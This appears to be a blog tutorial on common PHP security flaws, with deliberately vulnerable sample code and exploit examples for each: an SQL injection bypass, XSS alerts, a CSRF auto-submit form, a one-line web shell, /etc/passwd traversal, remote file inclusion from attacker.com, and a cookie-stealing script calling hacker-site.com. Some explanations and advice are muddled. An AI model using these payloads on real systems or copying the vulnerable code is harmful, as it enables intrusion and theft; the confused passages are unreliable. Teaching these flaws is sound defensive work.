Common PHP Security Vulnerabilities and How to Avoid Them

PHP is one of the most commonly used programming languages and leads the way in powering dynamic web applications. It is known to be the most powerful server based language. PHP is used in nearly 80% of the world wide web with over 10 million domains. So you can see why PHP security is so vital. Various PHP applications share scripts and code with many web applications, that may be based on other programming languages. Hence, if any vulnerability or security concern does arise, all applications sharing the code are put to risk.

While PHP offers versatility and ease of use, its applications are prone to security threats just like any other form of technology. However, by understanding these vulnerabilities and implementing tested practices it can help in keeping your online environment safe. Today our blog is about identifying the most common PHP security threats and giving you the knowledge to deal with them. So hold on to your seats, as we get technical!

What is PHP?

PHP is one of the most commonly used open source, server-side programming languages that is specially designed for web development. The language is embedded into the HTML code and makes it much easier to produce dynamic web pages. 

This is what PHP is used for:

Server Side Scripting

As opposed to Javascript, PHP code is done on the server, prior to the web page being sent to the user’s browser. Hence, only the final results can be seen by the user and not the underlying code. 

Dynamic Content Generation

PHP is used for developing web pages that react and change based on user input or pre-set conditions. For instance, an e-commerce website product page may use PHP to show various product information based on the product that the user may be viewing/ 

Database Interaction

PHP can be connected to your database to store, manipulate, and retrieve data. Such database management is useful for creating various web applications, like an online forum or a CMS system. 

Form Handling

PHP is used to process data which is collected from web forms and send it to whatever database you choose. This allows users to send data to servers by interacting with the website. 

Overall, PHP is a wonderful tool that helps developers create dynamic and interactive online experiences. The massive community and its ease of use make PHP the primary choice for developers. 

What Makes PHP Applications So Vulnerable? 

There are various factors that can account for potential security breaches of PHP applications:

Very Commonly Used

PHP is immensely popular, if you have a background in development or work with developers you will notice the plethora of tasks PHP is used to perform. This popularity also makes it a popular target for attackers. There are loads of materials online both to protect and to hack PHP based applications. The widespread code basis, though beneficial for development is also responsible for PHP security issues. 

Outdated Coding

PHP has been around for nearly 30 years now. Many developers often use old PHP applications that have outdated functions, easy to surpass configurations, and lack the use of any proper security protocols. This creates various weaknesses that are easy to exploit, causing various PHP security concerns. 

Weak Input Validation

Sometimes user input is not properly checked and attackers can use this as a vulnerability by entering malicious and unexpected data. Certain inputs can then help bypass the PHP security system and this leads to code execution vulnerability and access to the system for malicious entities. 

Loose Data Handling

PHP is dynamic by nature and requires careful handling of data types. Loose data handling can give hackers various options to manipulate data to execute unauthorized codes, causing various PHP security issues/ 

Security Vs Timelines

The current business environment is highly competitive and often developers have to work under tight deadlines. This can lead to developers prioritizing speed over PHP security and this leads to various vulnerabilities.

Most Common PHP Security Threats & How to Curb Them

I know most of you are waiting for this section, so let us explore the most common PHP security vulnerabilities and how one can prevent them from happening.

SQL Injection (SGLi)

The hacker or attacking entity, because even AI can be used for hacking these days. Anyways the attacker inserts malicious lines of SQL codes into the user input and this manipulates the database queries into performing a prompt. Depending on the SQL code inserted attackers can steal, alter, or even destroy your data.

How to Prevent This?

Prepare a system of recognized inputs that separates queries from data. These statements can only be known by those who are to be given access. Hence, any other form of input will not be accepted and SQL code insertions will do absolutely nothing. Another factor is to validate and sanitize all user data from queries to remove potentially harmful bits of information before making them a part of the final database queries. Also, consider pre-compiling SQL statements to reduce the risk of SQLi attacks. 

Example

Imagine a PHP-based web application that allows users to log in by entering their username and password. The application uses a MySQL database to store user credentials.

<?php
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "database";

// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

$user = $_POST['username'];
$pass = $_POST['password'];

$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
$result = $conn->query($sql);

if ($result->num_rows > 0) {
    // User is authenticated
    echo "Welcome, " . $user . "!";
} else {
    // Authentication failed
    echo "Invalid username or password.";
}

$conn->close();
?>

Here is how an SQL injection can be used to bypass authentication:

The Injected SQL Query Would Become:

SELECT * FROM users WHERE username = 'admin' AND password = 'admin123';

This input manipulates the SQL query:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

As a result, the hacker bypasses the password check and logs in as the admin user.

SELECT * FROM users WHERE username = 'admin';

Cross-Site Scripting (XSS)

Malicious scripts are often created by hackers that usually bypass the website security. These malicious scripts are often displayed on web pages and look a lot like normal Ads or part of the website. However, when users visit the page, the scripts are executed on their browsers and it potentially steals data or redirects them to another malicious website. We have all been a victim of this at some point. Modern browsers even give you warnings and in many cases, if the website does not have SSL security, then many browsers may not even open the page

How to Prevent This?

The simplest solution is usually the best one, as you can encode all user-generated content before placing it on the website. This stops the browser from interpreting the data as an executable code. You can also use libraries like HTML purifiers to remove various harmful elements from user inputs before displaying them.

Example

Think of a PHP-based web application that has a comment section where users can post comments. The application displays these comments on a web page without properly checking the input.

<?php
// Connect to the database
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "database";
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Insert comment into database
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $comment = $_POST['comment'];
    $sql = "INSERT INTO comments (comment) VALUES ('$comment')";
    if ($conn->query($sql) === TRUE) {
        echo "New comment posted.";
    } else {
        echo "Error: " . $sql . "<br>" . $conn->error;
    }
}

// Display comments
$sql = "SELECT comment FROM comments";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
    while($row = $result->fetch_assoc()) {
        echo $row['comment'] . "<br>";
    }
} else {
    echo "No comments yet.";
}

$conn->close();
?>

Here is How Hackers Exploit the Code

Normal Code:

This is a great article!<br>

Malicious User Comment

<script>alert('Hacked!');</script><br>

When the page is loaded by any user, the JavaScript code executes, displaying an alert box with the message “Hacked!”.

Cross-Site Request Forgery

CSRF attacks manipulate a user’s authenticated browser into performing harmful tasks for the user or the website. Attackers typically disguise the malware as a form, link, or clickable image, when clicked will take over the user’s profile and perform tasks like transferring funds or changing passwords for extortion or blackmail. Attackers can even get access to sensitive information, pictures, and more. 

How to Prevent This?

You can create protocols like implementing CSRF tokens. This will ensure that each session that is generated is validated to see if the user is genuine or not. Hackers often plant such codes through AI, to prevent tracking of their IP Addresses. It will also ensure that you can track where the malicious activity is occurring from and even take legal action. Set the SameSite attribute for cookies to Lax or Strict. This will mitigate the risk of CSRF attacks and restrict the use of cookies to the website that gave them.

Example

Imagine a PHP-based web application that allows users to change their email address through a form. The application does not implement any protection against CSRF attacks.

Vulnerable PHP Code

<?php
session_start();

// Check if user is logged in
if (!isset($_SESSION['user_id'])) {
    die("You need to log in first.");
}

// Connect to the database
$servername = "localhost";
$username = "username";
$password = "password";
$dbname = "database";
$conn = new mysqli($servername, $username, $password, $dbname);

// Check connection
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// Update email address
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $new_email = $_POST['new_email'];
    $user_id = $_SESSION['user_id'];
    $sql = "UPDATE users SET email = '$new_email' WHERE id = '$user_id'";
    if ($conn->query($sql) === TRUE) {
        echo "Email updated successfully.";
    } else {
        echo "Error updating email: " . $conn->error;
    }
}

$conn->close();
?>

<!DOCTYPE html>
<html>
<body>
    <form method="POST" action="">
        New Email: <input type="email" name="new_email" required>
        <input type="submit" value="Update Email">
    </form>
</body>
</html>

How a Hacker Exploits It:

The hacker creates a malicious web page that will submit a form to the vulnerable application on behalf of the logged-in user without their knowledge.

<html>
<body>
    <form id="csrfForm" action="http://victim-website.com/update_email.php" method="POST">
        <input type="hidden" name="new_email" value="[email protected]">
    </form>
    <script>
        document.getElementById('csrfForm').submit();
    </script>
</body>
</html>

The malicious form is automatically submitted to http://victim-website.com/update_email.php with the new_email field set to [email protected].

Remote Code Execution

RCE attacks allow attackers to execute arbitrary code on the server running the PHP application. This grants them complete control over the server, enabling them to steal data, install malware, or disrupt operations. The installed malware can further cause damage by stealing your audience’s data. 

How to Prevent This?

Validate all user input rigorously to prevent the execution of malicious code. Implement strict file upload restrictions. Moreover, limit allowed file types, perform virus scans, and restrict upload directories. Also, consider sandboxing environments to limit the execution context of PHP code, preventing unauthorized access to system resources.

Example

The hacker uploads a file named shell.php with the following content:

<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

The hacker can now execute arbitrary commands on the server by accessing the PHP file with a cmd parameter:

http://victim-website.com/uploads/shell.php?cmd=whoami

File Inclusion Vulnerability

Such PHP security vulnerabilities can happen when PHP scripts may include an external file that is based on users inputs. Attackers may exploit this by giving a path to a malicious file containing their code, allowing them to gain unauthorized access to the servers. This introduced code is disguised as a recognizable code for the backend.  

How to Prevent This?

Only use functions that are trusted and predetermine the filenames in order to recognize anything malicious being prompted into the database. It will also help you identify if any unknown files are present in your database. Try to avoid functions like realpath( ) which can reveal full path files on servers.

Example

The hacker can include sensitive files from the server by manipulating the page parameter. For example, to include the /etc/passwd file:

http://victim-website.com/index.php?page=/etc/passwd

Resulting in:

include('/etc/passwd.php');

To resulting in:
http://victim-website.com/index.php?page=../../../../etc/passwd%00

If the allow_url_include directive is enabled in PHP, the attacker can include a remote file. For example, they could host a malicious PHP script on their server and include it:

http://victim-website.com/index.php?page=http://attacker.com/malicious

Resulting In:
include('http://attacker.com/malicious.php');

Final Malicious Code Can Look Like:
<?php
system($_GET['cmd']);
?>

The attacker can then execute commands on the server by accessing:

http://victim-website.com/index.php?page=http://attacker.com/malicious&cmd=whoami

Session Hijacking

As the name suggests, session hijacking is when a hacker steals a user’s session identifier (profile). Having a valid session ID the attacker can impersonate the authorized user to gain access to their account. 

How to Prevent This?

Your first line of defense is to use a strong password and utilize multi-factor authentication of your sign-in. Do not click on suspicious links, as they will steal your data. Using a VPN also keeps your IP address hidden. Try not to use public networks, and in case you do be careful as public networks can steal your information. Keep your software updated and be vary of suspicious browser activity. Regularly updating your software and keeping multi-factor authentication is one of the easiest way to enhance PHP security. 

Example

Imagine a PHP-based web application that uses sessions to manage user authentication. Users log in, and a session ID is stored in a cookie to maintain the session.

<?php
session_start();

if (isset($_POST['username']) && isset($_POST['password'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    // Check user credentials (this is just an example, always use secure password hashing)
    if ($username === 'admin' && $password === 'password') {
        $_SESSION['user_id'] = 1;
        echo "Logged in successfully.";
    } else {
        echo "Invalid username or password.";
    }
}

if (isset($_SESSION['user_id'])) {
    echo "Welcome, user!";
}
?>

If the application uses HTTP instead of HTTPS, the session cookie can be intercepted by a hacker using a network sniffer like Wireshark.

If there is an XSS vulnerability in the application, a hacker can steal the session ID using malicious JavaScript.

Example XSS Vulnerability:

<?php
$comment = $_POST['comment'];
echo "<div>$comment</div>";
?>

The hacker posts a comment containing malicious JavaScript:

<script>
document.write('<img src="http://hacker-site.com/steal-cookie?cookie=' + document.cookie + '" />');
</script>

The hacker initiates a session and obtains a session ID.

<?php
session_start();
echo session_id();
?>

Then prompts
http://victim-website.com/login.php?PHPSESSID=fixed_session_id

If the application accepts this session ID and the victim logs in, the hacker can use the same session ID to access the victim’s account.

Conclusion

The example of common vulnerabilities is by no means exhaustive and you can find more through forum and community discussions. Let’s just hope you guys don’t need to make such searches and are safe from hackers. However, in case an unfortunate event does occur, act on it as quickly as possible. Remember your hacker is downloading your data and destroying that connection will protect you. 

FAQs